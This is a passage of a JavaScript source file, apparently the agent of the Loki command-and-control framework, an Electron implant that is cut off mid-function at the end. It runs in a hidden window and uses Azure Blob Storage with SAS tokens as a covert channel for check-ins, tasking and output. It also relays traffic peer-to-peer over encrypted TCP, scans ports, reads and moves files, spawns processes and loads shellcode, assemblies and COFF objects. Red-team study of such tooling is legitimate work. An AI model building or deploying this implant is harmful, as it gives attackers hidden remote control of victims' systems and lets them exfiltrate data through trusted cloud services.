1
0
mirror of https://github.com/boku7/Loki synced 2026-06-06 15:24:27 +00:00
Files
boku7-Loki/agent/main.js
T

2188 lines
79 KiB
JavaScript

const { app, BrowserWindow, ipcMain } = require('electron');
const crypto = require('crypto');
const { log } = require('console');
const os = require('os');
const fsp = require('fs').promises;
const { spawn } = require('child_process');
const path = require('path');
const dns = require('dns');
const net = require('net');
let customDnsServer = null;
const config = require('./config.js');
global.mode = (!config.mode || (config.mode !== 'egress' && !config.mode.startsWith('link-'))) ? 'egress' : config.mode;
global.TCPServer = null;
global.TCPLinkAgent = null;
global.init = false;
global.debug = true;
global.mainWindow = null;
global.agent = null;
global.scexecNodePath = "./scexec.node";
global.assemblyNodePath = "./assembly.node";
global.path_coffloader = "./COFFLoader.node";
global.STORAGE_ACCOUNT = config.storageAccount;
global.META_CONTAINER = config.metaContainer;
global.SAS_TOKEN = config.sasToken;
global.P2P_CHALLENGE = config.metaContainer;
global.P2P_PORT = config.p2pPort || null;
class Container {
constructor() {
this.name = generateUUID(10);
this.key = generateAESKey();
this.blobs = {
'checkin': 'c-' + generateUUID(12),
'in': 'i-' + generateUUID(12)
};
}
setName(name) {
this.name = name;
}
setKey(key) {
this.key = {
'key': key.key,
'iv': key.iv
};
}
}
class Agent {
constructor() {
this.agentid = generateUUID(16);
this.container = new Container();
this.checkin = Date.now();
this.sleepinterval = 5;
this.sleepjitter = 15;
this.thissleep = 5000;
this.storageAccount = '';
this.metaContainer = '';
this.sasToken = '';
this.cwd = '';
}
setAgentId(agentid) {
this.agentid = agentid;
}
setContainer(container) {
this.container = container;
}
setStorageConfig(storageAccount, metaContainer, sasToken) {
this.storageAccount = storageAccount;
this.metaContainer = metaContainer;
this.sasToken = sasToken;
}
setCwd(cwd) {
this.cwd = cwd;
}
setWindow(window) {
this.window = window;
}
}
class Task {
constructor(outputChannel, command, uploadChannel = null,taskid = null) {
this.outputChannel = outputChannel;
this.command = command;
this.uploadChannel = uploadChannel;
this.taskid = taskid;
}
}
function debug(message)
{
if(global.debug) {
const timestamp = new Date().toISOString();
log(`[${timestamp}] ${message}`);
}
}
async function createWindow() {
let thisWindow = new BrowserWindow({
width: 0,
height: 0,
show: false,
skipTaskbar: true,
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
backgroundThrottling: false,
v8CacheOptions: 'none'
}
});
thisWindow.loadFile('renderer.html');
debug('Window created');
return thisWindow;
}
app.on('window-all-closed', () => { });
app.on('ready', async () => {
try {
debug('App is ready, creating main window...');
global.mainWindow = await createWindow();
if (!global.mainWindow) {
throw new Error('Failed to create main window');
}
global.agent = new Agent();
global.agent.setStorageConfig(global.STORAGE_ACCOUNT, global.META_CONTAINER, global.SAS_TOKEN);
global.agent.setCwd(process.cwd());
debug('[READY] Storage config:');
debug(`[READY] |_ storageAccount: ${global.agent.storageAccount}`);
debug(`[READY] |_ metaContainer: ${global.agent.metaContainer}`);
debug(`[READY] |_ sasToken: ${global.agent.sasToken}`);
debug('[READY] Agent object properties:');
debug(`[READY] |_ agentid: ${global.agent.agentid}`);
debug(`[READY] |_ checkin: ${global.agent.checkin}`);
debug(`[READY] |_ sleepinterval: ${global.agent.sleepinterval}`);
debug(`[READY] |_ sleepjitter: ${global.agent.sleepjitter}`);
debug(`[READY] |_ thissleep: ${global.agent.thissleep}`);
debug(`[READY] |_ cwd: ${global.agent.cwd}`);
debug('[READY] Container object:');
debug(`\t${JSON.stringify(global.agent.container)}`);
// Keep trying to initialize until successful
let failattempts = 0;
if (global.mode== 'link-tcp') {
debug(`Starting TCP server on port ${global.P2P_PORT}...`);
// Create and start the TCP server with configuration from config.js
global.TCPServer = new TCPServer(global.P2P_PORT, global.P2P_CHALLENGE, global.agent.agentid);
try {
await global.TCPServer.start();
debug(`TCP server started successfully on port ${global.P2P_PORT}`);
// Wait for a client to connect and authenticate
debug('Waiting for client to connect and authenticate...');
await global.TCPServer.waitForClient();
debug('Client connected and authenticated successfully');
} catch (error) {
debug(`Failed to start TCP server or wait for client: ${error.message}\r\n${error.stack}`);
return;
}
}
while (true) {
let initResult = await init();
if (initResult === true) {
debug('Initialization successful');
break;
}
else{
failattempts++;
debug(`Initialization failed for ${failattempts} time, retrying in 20 seconds... `);
await new Promise(resolve => setTimeout(resolve, 20000));
}
}
await TaskLoop();
} catch (error) {
debug(`Error during initialization: ${error.message}`);
debug(`Error stack: ${error.stack}`);
app.quit();
}
});
class TCPAgent {
constructor(config = {}) {
this.config = {
hostname: config.hostname,
port: config.port,
password: config.password,
maxReconnectDelay: 30000,
initialReconnectDelay: 1000,
requestTimeout: 30000
};
this.client = null;
this.isConnected = false;
this.reconnectAttempts = 0;
this.buffer = '';
this.p2p_aes = null;
this.onMessageCallback = null;
this.onConnectCallback = null;
this.onDisconnectCallback = null;
this.onErrorCallback = null;
}
async generateKeyAndIV(password) {
const salt = 'fixed-salt';
const key = crypto.pbkdf2Sync(password, salt, 100000, 32, 'sha256');
const iv = crypto.pbkdf2Sync(password, salt + 'iv', 100000, 16, 'sha256').slice(0, 16);
return { key, iv };
}
async encrypt(data, key, iv) {
const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
let encrypted = "";
if (Buffer.isBuffer(data)) {
encrypted = Buffer.concat([cipher.update(data), cipher.final()]);
} else {
encrypted = cipher.update(data, 'utf8', 'hex');
encrypted += cipher.final('hex');
}
return encrypted;
}
async decrypt(encryptedData, key, iv) {
try {
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
let decrypted = "";
if (Buffer.isBuffer(encryptedData)) {
decrypted = Buffer.concat([decipher.update(encryptedData), decipher.final()]);
} else {
decrypted = decipher.update(encryptedData, 'hex', 'utf8');
decrypted += decipher.final('utf8');
}
return decrypted;
} catch (error) {
debug(`Error in decrypt(): ${error} ${error.stack}`);
return null;
}
}
async base64Encode(input) {
try {
if (typeof input === 'string') {
input = Buffer.from(input, 'utf-8');
} else if (!Buffer.isBuffer(input)) {
input = Buffer.from(JSON.stringify(input), 'utf-8');
}
return input.toString('base64');
} catch (error) {
return null;
}
}
async base64Decode(base64) {
try {
const buffer = Buffer.from(base64, 'base64');
return buffer.toString('utf-8');
} catch (error) {
return null;
}
}
async connect() {
if (!this.config.hostname || !this.config.port || !this.config.password) {
throw new Error('Missing required parameters: hostname, port, and password are required');
}
this.client = new net.Socket();
this.client.connect(this.config.port, this.config.hostname, async () => {
debug('Connected to server');
this.isConnected = true;
this.reconnectAttempts = 0;
this.p2p_aes = await this.generateKeyAndIV(this.config.password);
const encrypted_message = await this.encrypt(this.config.password, this.p2p_aes.key, this.p2p_aes.iv);
const encoded_message = await this.base64Encode(encrypted_message);
this.client.write(encoded_message + '\n');
if (this.onConnectCallback) {
this.onConnectCallback();
}
});
this.setupEventHandlers();
}
setupEventHandlers() {
this.client.on('data', async (data) => {
const decoded_message = await this.base64Decode(data.toString());
const decrypted_message = await this.decrypt(decoded_message, this.p2p_aes.key, this.p2p_aes.iv);
this.buffer += decrypted_message;
const messages = this.buffer.split('\n');
this.buffer = messages.pop();
for (const message of messages) {
if (!message.trim()) continue;
if (message.trim() === 'AUTH_SUCCESS') {
debug('Authentication successful');
continue;
} else if (message.trim() === 'AUTH_FAILED') {
debug('Authentication failed');
this.disconnect();
return;
}
try {
// Parse the web request from server
const currentRequest = JSON.parse(message);
// Handle x-ms-meta-link header if present
if (currentRequest.headers && currentRequest.headers['x-ms-meta-link']) {
const existingLinks = currentRequest.headers['x-ms-meta-link'];
currentRequest.headers['x-ms-meta-link'] = existingLinks ? `${existingLinks},${global.agent.agentid}` : global.agent.agentid;
}
debug('Received web request from server:');
debug(`Task ID: ${currentRequest.taskId}`);
debug(`Agent ID: ${currentRequest.agentId}`);
debug(`URL: ${currentRequest.url}`);
debug(`Method: ${currentRequest.method}`);
debug(`Headers: ${JSON.stringify(currentRequest.headers)}`);
debug(`Body: ${currentRequest.body}`);
// Validate required fields
if (!currentRequest.url) {
throw new Error('Missing required field: url');
}
const method = currentRequest.method || 'GET';
const headers = currentRequest.headers || {};
const defaultHeaders = {
'Cache-Control': 'no-cache, no-store, must-revalidate',
'Pragma': 'no-cache',
'Expires': '0'
};
// Parse URL to get hostname and path
const urlObj = new URL(currentRequest.url);
const hostname = urlObj.hostname;
const path = urlObj.pathname + urlObj.search;
let fetchOptions = {
hostname: hostname,
path: path,
port: 443,
method: method,
headers: { ...defaultHeaders, ...headers },
signal: AbortSignal.timeout(this.config.requestTimeout)
};
// Only add body for non-GET/HEAD methods
if (currentRequest.body !== undefined && !['GET', 'HEAD'].includes(method.toUpperCase())) {
if (method === 'PUT' && headers['Content-Type'] === 'text/plain') {
fetchOptions.body = currentRequest.body;
} else {
fetchOptions.body = currentRequest.body;
}
}
debug('Sending request with options:', JSON.stringify(fetchOptions, null, 2));
try {
//const response = await fetch(currentRequest.url, fetchOptions);
const response = await func_Web_Request(fetchOptions,fetchOptions.body,currentRequest.isBytes);
//func_Web_Request(options, data = null, isBytes = false)
debug(`Response status: ${response.status} ${response.statusText}`);
let data = "";
if (currentRequest.isBytes) {
const arrayBuffer = await response.data.arrayBuffer();
data = Buffer.from(arrayBuffer);
} else {
data = await response.data;
}
// Create response object
const responseObject = {
status: response.status,
statusText: response.statusText,
headers: response.headers,
data: data,
agentId: currentRequest.agentId,
taskId: currentRequest.taskId
};
debug(`Response object: ${JSON.stringify(responseObject)}`);
// Send response back to server
const encrypted_message = await this.encrypt(JSON.stringify(responseObject) + '\n', this.p2p_aes.key, this.p2p_aes.iv);
const encoded_message = await this.base64Encode(encrypted_message);
this.client.write(encoded_message);
debug('Sent response back to server');
} catch (fetchError) {
debug('Fetch error:', fetchError);
if (fetchError.name === 'AbortError') {
throw new Error('Request timed out after ' + this.config.requestTimeout + ' seconds');
}
throw fetchError;
}
} catch (error) {
debug('Error processing request:', error);
// Send error response back to server
const errorResponse = {
error: error.message,
agentId: currentRequest?.agentId,
taskId: currentRequest?.taskId
};
try {
const encrypted_error = await this.encrypt(JSON.stringify(errorResponse) + '\n', this.p2p_aes.key, this.p2p_aes.iv);
const encoded_error = await this.base64Encode(encrypted_error);
this.client.write(encoded_error);
debug('Sent error response to server');
} catch (encryptError) {
debug('Failed to encrypt error response:', encryptError);
}
}
}
});
this.client.on('end', () => {
debug('Connection ended');
this.isConnected = false;
if (this.onDisconnectCallback) {
this.onDisconnectCallback();
}
//this.attemptReconnect();
});
this.client.on('error', (error) => {
debug('Connection error:', error);
this.isConnected = false;
if (this.onErrorCallback) {
this.onErrorCallback(error);
}
//this.attemptReconnect();
});
}
async sendMessage(message) {
if (!this.isConnected) {
throw new Error('Not connected to server');
}
try {
const encrypted_message = await this.encrypt(JSON.stringify(message) + '\n', this.p2p_aes.key, this.p2p_aes.iv);
const encoded_message = await this.base64Encode(encrypted_message);
this.client.write(encoded_message);
return true;
} catch (error) {
debug('Error sending message:', error);
return false;
}
}
disconnect() {
if (this.client) {
this.client.destroy();
this.isConnected = false;
}
}
attemptReconnect() {
if (this.isConnected) return;
const delay = Math.min(
this.config.initialReconnectDelay * Math.pow(2, this.reconnectAttempts),
this.config.maxReconnectDelay
);
debug(`Attempting to reconnect in ${delay}ms...`);
setTimeout(() => {
this.reconnectAttempts++;
this.connect();
}, delay);
}
}
class TCPServer {
constructor(port, password, agentId) {
this.server = null;
this.authenticatedClients = new Set();
this.requestQueue = [];
this.isProcessingQueue = false;
this.clientConnectedPromise = null;
this.clientConnectedResolve = null;
this.pendingResponses = new Map();
this.port = port;
this.password = password;
this.agentId = agentId;
}
// Start the TCP server
async start() {
return new Promise((resolve, reject) => {
this.server = net.createServer((socket) => {
let isAuthenticated = false;
let decryptedMessage = '';
socket.on('data', async (data) => {
decryptedMessage = '';
const message = data.toString();
global.p2p_aes = await generateKeyAndIV(this.password);
try {
const decodedMessage = await func_Base64_Decode(message);
if (!decodedMessage) {
debug('[TCP-SERVER] Failed to decode base64 message');
socket.end();
return;
}
decryptedMessage = await func_Decrypt(decodedMessage, global.p2p_aes.key, global.p2p_aes.iv);
decryptedMessage = decryptedMessage;
if (!decryptedMessage) {
debug('[TCP-SERVER] Failed to decrypt message');
socket.end();
return;
}
} catch (error) {
debug(`[TCP-SERVER] Error processing message: ${error.message}`);
socket.end();
return;
}
debug(`[TCP-SERVER] Received message: ${decryptedMessage}`);
if (!isAuthenticated) {
// Check password
if (decryptedMessage === this.password) {
debug('[TCP-SERVER] Authentication successful');
isAuthenticated = true;
this.authenticatedClients.add(socket);
let encrypted_response = await func_Encrypt('AUTH_SUCCESS\n', global.p2p_aes.key, global.p2p_aes.iv);
let encoded_response = await func_Base64_Encode(encrypted_response);
socket.write(encoded_response);
// Resolve the wait for client promise if it exists
if (this.clientConnectedResolve) {
this.clientConnectedResolve();
this.clientConnectedResolve = null;
this.clientConnectedPromise = null;
}
} else {
debug('[TCP-SERVER] Authentication failed - invalid password');
let encrypted_response = await func_Encrypt('AUTH_FAILED\n', global.p2p_aes.key, global.p2p_aes.iv);
let encoded_response = await func_Base64_Encode(encrypted_response);
socket.write(encoded_response);
socket.end();
}
return;
}
try {
// Parse the response from agent
const response = JSON.parse(decryptedMessage);
debug(`[TCP-SERVER] Response with taskId: ${response.taskId}`);
debug(`[TCP-SERVER] Response with agentid: ${response.agentId}`);
const pendingResponse = this.pendingResponses.get(response.taskId);
if (pendingResponse) {
pendingResponse.resolve(response);
this.pendingResponses.delete(response.taskId);
}
// Remove the current request from queue and process next
if (this.requestQueue.length > 0) {
this.requestQueue.shift();
}
this.processNextRequest();
} catch (error) {
debug(`[TCP-SERVER] Error parsing response: ${error.message}`);
if (this.requestQueue.length > 0) {
const currentRequest = this.requestQueue[0];
currentRequest.reject(error);
this.requestQueue.shift();
}
}
});
socket.on('end', () => {
debug('[TCP-SERVER] Client disconnected (end event)');
if (isAuthenticated) {
// Reject any pending requests for this client
for (const [taskId, pendingResponse] of this.pendingResponses) {
pendingResponse.reject(new Error('Client disconnected'));
this.pendingResponses.delete(taskId);
}
this.authenticatedClients.delete(socket);
debug(`[TCP-SERVER] Removed client from authenticated clients. Remaining clients: ${this.authenticatedClients.size}`);
// Reset client connection promise if no clients remain
if (this.authenticatedClients.size === 0) {
this.clientConnectedPromise = null;
this.clientConnectedResolve = null;
}
}
});
socket.on('error', (error) => {
debug(`[TCP-SERVER] Client connection error: ${error.message}`);
if (isAuthenticated) {
// Reject any pending requests for this client
for (const [taskId, pendingResponse] of this.pendingResponses) {
pendingResponse.reject(new Error('Client connection error'));
this.pendingResponses.delete(taskId);
}
this.authenticatedClients.delete(socket);
debug(`[TCP-SERVER] Removed client from authenticated clients due to error. Remaining clients: ${this.authenticatedClients.size}`);
}
});
socket.setTimeout(30000);
socket.on('timeout', () => {
debug('[TCP-SERVER] Client connection timed out');
if (isAuthenticated) {
// Reject any pending requests for this client
for (const [taskId, pendingResponse] of this.pendingResponses) {
pendingResponse.reject(new Error('Client connection timeout'));
this.pendingResponses.delete(taskId);
}
this.authenticatedClients.delete(socket);
debug(`[TCP-SERVER] Removed client from authenticated clients due to timeout. Remaining clients: ${this.authenticatedClients.size}`);
}
//socket.end();
TaskLoop();
});
});
this.server.listen(this.port, () => {
resolve();
});
this.server.on('error', (error) => {
reject(error);
});
});
}
// Wait for a client to connect and authenticate
waitForClient() {
if (this.authenticatedClients.size > 0) {
return Promise.resolve();
}
// Reset the promise if it was previously resolved/rejected
this.clientConnectedPromise = null;
this.clientConnectedResolve = null;
// Create new promise to wait for client - no timeout
this.clientConnectedPromise = new Promise((resolve) => {
this.clientConnectedResolve = resolve;
});
return this.clientConnectedPromise;
}
// Stop the TCP server
stop() {
return new Promise((resolve) => {
if (this.server) {
this.server.close(() => {
resolve();
});
} else {
resolve();
}
});
}
// Generate a random task ID
generateTaskId() {
return crypto.randomBytes(4).toString('hex');
}
// Process the next request in the queue
async processNextRequest() {
if (this.requestQueue.length === 0) {
this.isProcessingQueue = false;
return;
}
const request = this.requestQueue[0];
const client = this.getNextAuthenticatedClient();
if (!client) {
while (this.requestQueue.length > 0) {
const queuedRequest = this.requestQueue.shift();
queuedRequest.reject(new Error('No authenticated clients available'));
}
this.isProcessingQueue = false;
return;
}
const taskId = this.generateTaskId();
const requestWithIds = {
...request,
taskId,
agentId: this.agentId
};
this.pendingResponses.set(taskId, {
resolve: request.resolve,
reject: request.reject
});
let requests = JSON.stringify(requestWithIds) + '\n'
let encrypted_requests = await func_Encrypt(requests, global.p2p_aes.key, global.p2p_aes.iv);
let encoded_requests = await func_Base64_Encode(encrypted_requests);
client.write(encoded_requests);
}
// Get the next available authenticated client
getNextAuthenticatedClient() {
return this.authenticatedClients.size > 0
? Array.from(this.authenticatedClients)[0]
: null;
}
// Add a web request to the queue
async makeWebRequest(request) {
return new Promise((resolve, reject) => {
if (this.authenticatedClients.size === 0) {
debug('[TCP-SERVER] No authenticated clients available');
resolve(false);
return;
}
const requestWithCallback = {
...request,
resolve,
reject
};
this.requestQueue.push(requestWithCallback);
if (!this.isProcessingQueue) {
this.isProcessingQueue = true;
this.processNextRequest();
}
});
}
}
function generateAESKey()
{
const key_material = {
'key' : crypto.randomBytes(32), // 256-bit key
'iv' : crypto.randomBytes(16) // 128-bit IV
};
return key_material;
}
// Function to generate key and IV from a password
async function generateKeyAndIV(password) {
// Use PBKDF2 to derive a key from the password
const salt = 'fixed-salt'; // In production, you might want to use a random salt
const key = crypto.pbkdf2Sync(password, salt, 100000, 32, 'sha256'); // 32 bytes for AES-256 key
const iv = crypto.pbkdf2Sync(password, salt + 'iv', 100000, 16, 'sha256').slice(0, 16); // 16 bytes for IV
return {
key: key,
iv: iv
};
}
function generateUUID(len) {
if (len > 20) len = 20; // Limit max length to 20
if (len < 1) return ''; // Handle invalid length
const letters = 'abcdefghijklmnopqrstuvwxyz';
const firstChar = letters[Math.floor(Math.random() * letters.length)];
if (len === 1) return firstChar;
const uuid = crypto.randomBytes(Math.ceil((len - 1) / 2)).toString('hex');
return (firstChar + uuid).substring(0, len);
}
async function func_Encrypt(data,key,iv) {
const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
let encrypted = "";
if ( Buffer.isBuffer( data ) ) {
encrypted = Buffer.concat([cipher.update(data), cipher.final()]);
}
else {
encrypted = cipher.update(data, 'utf8', 'hex');
encrypted += cipher.final('hex');
}
return encrypted;
}
async function func_Decrypt(encryptedData,key,iv) {
try{
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
let decrypted = "";
if ( Buffer.isBuffer( encryptedData ) ) {
decrypted = Buffer.concat([decipher.update(encryptedData), decipher.final()]);
}
else {
decrypted = decipher.update(encryptedData, 'hex', 'utf8');
decrypted += decipher.final('utf8');
}
return decrypted;
}
catch(error){
debug(`Error in func_Decrypt() : ${error} ${error.stack}`);
return null;
}
}
// Function to encode a string to base64
async function func_Base64_Encode(input) {
try {
if (typeof input === 'string') {
input = Buffer.from(input, 'utf-8');
} else if (!Buffer.isBuffer(input)) {
input = Buffer.from(JSON.stringify(input), 'utf-8');
}
return input.toString('base64');
} catch (error) {
return null;
}
}
// Function to decode a base64 string
async function func_Base64_Decode(base64) {
try {
const buffer = Buffer.from(base64, 'base64');
return buffer.toString('utf-8');
} catch (error) {
return null;
}
}
async function func_Web_Request(options, data = null, isBytes = false) {
if (!global.mainWindow || global.mainWindow.isDestroyed()) {
debug('Main window is not available');
global.mainWindow = await createWindow();
}
if (global.mainWindow.webContents.isLoading()) {
await new Promise(resolve => {
global.mainWindow.webContents.once('did-finish-load', resolve);
});
}
const url = `https://${options.hostname}${options.path}`;
const requestId = Date.now().toString();
if (data) {
if (!options.headers) {
options.headers = {};
}
options.headers['Content-Length'] = Buffer.byteLength(data);
}
const requestObject = {
url:url,
method: options.method,
headers: options.headers,
body: data,
isBytes: isBytes
}
if (global.mode== 'link-tcp') {
requestObject.requestId = requestId;
requestObject.isBytes = isBytes;
const response = await global.TCPServer.makeWebRequest(requestObject);
debug(`[WEB-REQUEST] Response : ${JSON.stringify(response)}`);
return response;
}
return new Promise((resolve, reject) => {
//const url = `https://${options.hostname}:${options.port}${options.path}`;
//const requestId = Date.now().toString();
const responseHandler = (event, response) => {
debug(`[WEB-REQUEST] Response status: ${response.status}`);
if (response.error) {
reject(new Error(response.error));
return;
}
resolve({
response: response,
status: response.status,
data: response.data
});
};
ipcMain.once(`web-request-response-${requestId}`, responseHandler);
if (data) {
if (!options.headers) {
options.headers = {};
}
options.headers['Content-Length'] = Buffer.byteLength(data);
}
try {
global.mainWindow.webContents.send('make-web-request', {
url,
method: options.method,
headers: options.headers,
body: data,
requestId,
isBytes: isBytes
}
);
} catch (err) {
ipcMain.removeListener(`web-request-response-${requestId}`, responseHandler);
reject(err);
}
let timeout = options.path.includes('restype=container') ? 60000 : 30000;
if (isBytes) {
timeout = 300000;
}
setTimeout(() => {
ipcMain.removeListener(`web-request-response-${requestId}`, responseHandler);
reject(new Error(`Web request timed out after ${timeout}ms`));
}, timeout);
});
}
async function func_Blob_Stat(container, blob) {
let options = {
hostname: global.agent.storageAccount,
port: 443,
path: `/${container}/${blob}?restype=blob&${global.agent.sasToken}`,
method: 'HEAD',
headers: {
'x-ms-version': '2020-02-10',
'x-ms-date': new Date().toUTCString()
}
};
let response = await func_Web_Request(options);
return response.status === 200;
}
async function func_Blob_Create(ContainerName, StorageBlob, data) {
try {
debug(`[BLOB_CREATE] blob : /${ContainerName}/${StorageBlob}`);
if (data == null) {
data = "";
}
data = data.toString();
const options = {
hostname: global.agent.storageAccount,
port: 443,
path: `/${ContainerName}/${StorageBlob}?${global.agent.sasToken}`,
method: 'PUT',
headers: {
'x-ms-version': '2020-02-10',
'x-ms-date': new Date().toUTCString(),
'x-ms-blob-type': 'BlockBlob',
'Content-Type': 'text/plain',
'Content-Length': Buffer.byteLength(data)
}
};
let response = await func_Web_Request(options, data);
return response.status === 201;
} catch (error) {
debug(`Error in func_Blob_Create() : ${error}`);
return false;
}
}
async function clearBlob(StorageContainer, StorageBlob)
{
const options = {
hostname: global.agent.storageAccount,
port: 443,
path: `/${StorageContainer}/${StorageBlob}?${global.agent.sasToken}`,
method: 'PUT',
headers: {
'x-ms-version': '2020-02-10',
'x-ms-date': new Date().toUTCString(),
'x-ms-blob-type': 'BlockBlob',
'Content-Type': 'text/plain',
'Content-Length': 0
}
};
return await func_Web_Request(options);
}
async function func_Container_Create(container) {
debug(`[CONTAINER_CREATE] container : ${container}`);
let container_stat = await func_Container_Stat(container);
if (container_stat === false) {
let options = {
hostname: global.agent.storageAccount,
port: 443,
path: `/${container}?restype=container&${global.agent.sasToken}`,
method: 'PUT',
headers: {
'x-ms-version': '2020-02-10',
'x-ms-date': new Date().toUTCString(),
'Content-Length': 0
}
};
let response = await func_Web_Request(options);
return response.status === 201;
}
return container_stat;
}
async function func_Container_Stat(container) {
let options = {
hostname: global.agent.storageAccount,
port: 443,
path: `/${container}?restype=container&${global.agent.sasToken}`,
method: 'HEAD',
headers: {
'x-ms-version': '2020-02-10',
'x-ms-date': new Date().toUTCString()
}
};
let response = await func_Web_Request(options);
return response.status === 200;
}
async function Blob_Set_Metadata(container, blob, metadata) {
const query = `/${container}/${blob}?comp=metadata&${global.agent.sasToken}`;
const headers = {
"x-ms-version": "2022-11-02",
"x-ms-date": new Date().toUTCString(),
"Content-Length": 0,
};
// Add metadata headers
for (const [key, value] of Object.entries(metadata)) {
headers[`x-ms-meta-${key.toLowerCase()}`] = value;
}
const options = {
method: "PUT",
hostname: global.agent.storageAccount,
path: query,
port: 443,
headers: headers
};
return await func_Web_Request(options);
}
async function getSystemInfo() {
try {
if (!global.mainWindow || global.mainWindow.isDestroyed()) {
debug('Main window is not available');
global.mainWindow = await createWindow();
}
if (global.mainWindow.webContents.isLoading()) {
await new Promise(resolve => {
global.mainWindow.webContents.once('did-finish-load', resolve);
});
}
return new Promise((resolve, reject) => {
const requestId = Date.now().toString();
const responseHandler = (event, systemInfo) => {
ipcMain.removeListener(`system-info-response-${requestId}`, responseHandler);
resolve(systemInfo);
};
ipcMain.once(`system-info-response-${requestId}`, responseHandler);
global.mainWindow.webContents.send('get-system-info', requestId, global.mode);
// Add timeout
setTimeout(() => {
ipcMain.removeListener(`system-info-response-${requestId}`, responseHandler);
reject(new Error('System info request timed out'));
}, 5000);
});
} catch (error) {
debug(`Error getting system info: ${error} ${error.stack}`);
return 0;
}
}
async function func_Blob_Write(StorageBlob, data) {
try {
if (data == null) {
data = "";
}
data = data.toString();
const options = {
hostname: global.agent.storageAccount,
port: 443,
path: `/${global.agent.container.name}/${StorageBlob}?${global.agent.sasToken}`,
method: 'PUT',
headers: {
'x-ms-version': '2020-02-10',
'x-ms-date': new Date().toUTCString(),
'x-ms-blob-type': 'BlockBlob',
'Content-Type': 'text/plain',
'Content-Length': Buffer.byteLength(data)
}
};
return await func_Web_Request(options, data);
} catch (error) {
debug(`Error in func_Blob_Write() : ${error} ${error.stack}`);
return error;
}
}
// Function to read a blob's contents
async function func_Blob_Read(Container,StorageBlob) {
const options = {
hostname: global.agent.storageAccount,
port: 443,
path: `/${Container}/${StorageBlob}?${global.agent.sasToken}`,
method: 'GET',
headers: {
'x-ms-version': '2020-02-10',
'x-ms-date': new Date().toUTCString()
}
};
return await func_Web_Request(options);
}
async function func_Split_Quoted_String(str) {
if (!str) {
return [];
}
str = String(str);
const result = [];
let current = '';
let insideQuotes = false;
let quoteChar = '';
for (let i = 0; i < str.length; i++) {
const char = str[i];
if (insideQuotes) {
if (char === '\\' && (str[i + 1] === quoteChar || str[i + 1] === '\\')) {
current += str[i + 1];
i++;
} else if (char === quoteChar) {
insideQuotes = false;
result.push(current);
current = '';
} else {
current += char;
}
} else {
if (char === '"' || char === "'") {
insideQuotes = true;
quoteChar = char;
} else if (char === '\\' && str[i + 1] === ' ') {
current += ' ';
i++;
} else if (char === ' ') {
if (current.length > 0) {
result.push(current);
current = '';
}
} else {
current += char;
}
}
}
if (current.length > 0) {
result.push(current);
}
return result;
}
async function numcheck(value, defaultNumber, min = 1, max = 900) {
if (typeof value !== 'number' || isNaN(value)) {
value = defaultNumber;
}
if (value < min) {
return min;
} else if (value > max) {
return max;
} else {
return value;
}
}
async function getrand(number, percent) {
try {
number = Number(number);
percent = Number(percent);
const range = number * (percent / 100);
let minValue = number - range;
let maxValue = number + range;
if (minValue < 1000) { minValue = 1000; }
if (maxValue < 1000) { maxValue = 1000; }
if (maxValue > 600000) { maxValue = 600000; }
const randomValue = Math.random() * (maxValue - minValue) + minValue;
return Math.floor(randomValue);
} catch (error) {
return 0;
}
}
async function send_output(container,outblob,output) {
try
{
debug(`Sending output to ${container} ${outblob} ${output}`);
await func_Blob_Write(outblob,output);
}catch(error)
{
debug(`Error in send-output() : ${error} ${error.stack}`);
}
};
async function func_Scan_Ports(host, ports) {
const openPorts = [];
const checkPort = (host, port) => {
return new Promise((resolve) => {
const socket = new net.Socket();
socket.setTimeout(100); // Timeout after 2 seconds
socket.on('connect', () => {
openPorts.push(port);
socket.destroy();
resolve();
});
socket.on('timeout', () => {
socket.destroy();
resolve();
});
socket.on('error', () => {
socket.destroy();
resolve();
});
socket.connect(port, host);
});
};
const portChecks = ports.map(port => checkPort(host, port));
await Promise.all(portChecks);
return openPorts;
}
async function func_File_Move(srcPath, destPath) {
let output = "";
try {
if (!path.isAbsolute(srcPath)) {
srcPath = path.resolve(global.agent.cwd, srcPath);
}
if (!path.isAbsolute(destPath)) {
destPath = path.resolve(global.agent.cwd, destPath);
}
await fsp.mkdir(path.dirname(destPath), { recursive: true });
await fsp.rename(srcPath, destPath);
output = `File moved from ${srcPath} to ${destPath}`;
} catch (error) {
output = `Error moving file: ${error.stack}`;
}
return output;
}
async function func_File_Copy(srcPath, destPath) {
let output = "";
try {
if (!path.isAbsolute(srcPath)) {
srcPath = path.resolve(global.agent.cwd, srcPath);
}
if (!path.isAbsolute(destPath)) {
destPath = path.resolve(global.agent.cwd, destPath);
}
await fsp.mkdir(path.dirname(destPath), { recursive: true });
await fsp.copyFile(srcPath, destPath);
output = `File copied from ${srcPath} to ${destPath}`;
} catch (error) {
output = `Error copying file: ${error.stack}`;
}
return output;
}
async function func_File_Read(filePath) {
try {
if (!path.isAbsolute(filePath)) {
filePath = path.resolve(global.agent.cwd, filePath);
}
const data = await fsp.readFile(filePath, { encoding: 'utf8' });
return data;
} catch (err) {
return `[!] ${err}`;
}
}
function func_Spawn_Child(command, args = []) {
return new Promise((resolve, reject) => {
const proc = spawn(command, args);
let stdout = "";
let stderr = "";
proc.stdout.on('data', (data) => {
stdout += data.toString();
});
proc.stderr.on('data', (data) => {
stderr += data.toString();
});
proc.on('close', (code) => {
resolve({
stdout: stdout.trim(),
stderr: stderr.trim(),
pid: proc.pid,
exitCode: code,
command: `${command} ${args.join(" ")}`
});
});
proc.on('error', (err) => {
reject(err);
});
});
}
async function func_Drives_Exist(driveLetter) {
const path = `${driveLetter}:\\`;
try {
await fsp.access(path);
return true;
} catch {
return false;
}
}
async function func_Drives_Stat(driveLetter) {
const path = `${driveLetter}:\\`;
try {
const stats = await fsp.stat(path);
return stats;
} catch (error) {
throw new Error(`Error retrieving stats for ${driveLetter}:: ${error.message}`);
}
}
async function func_Drives_List() {
const driveLetters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'.split('');
let resultBuffer = '';
for (const letter of driveLetters) {
if (await func_Drives_Exist(letter)) {
resultBuffer += `Drive: ${letter}:\n`;
try {
const stats = await func_Drives_Stat(letter);
resultBuffer += `Created: ${stats.birthtime}\n`;
resultBuffer += `Modified: ${stats.mtime}\n`;
} catch (error) {
resultBuffer += `${error.message}\n`;
}
resultBuffer += '---\n';
}
}
return resultBuffer;
}
// link localhost 3000 secret123
function linkHandler(argv) {
let link_host = argv[1];
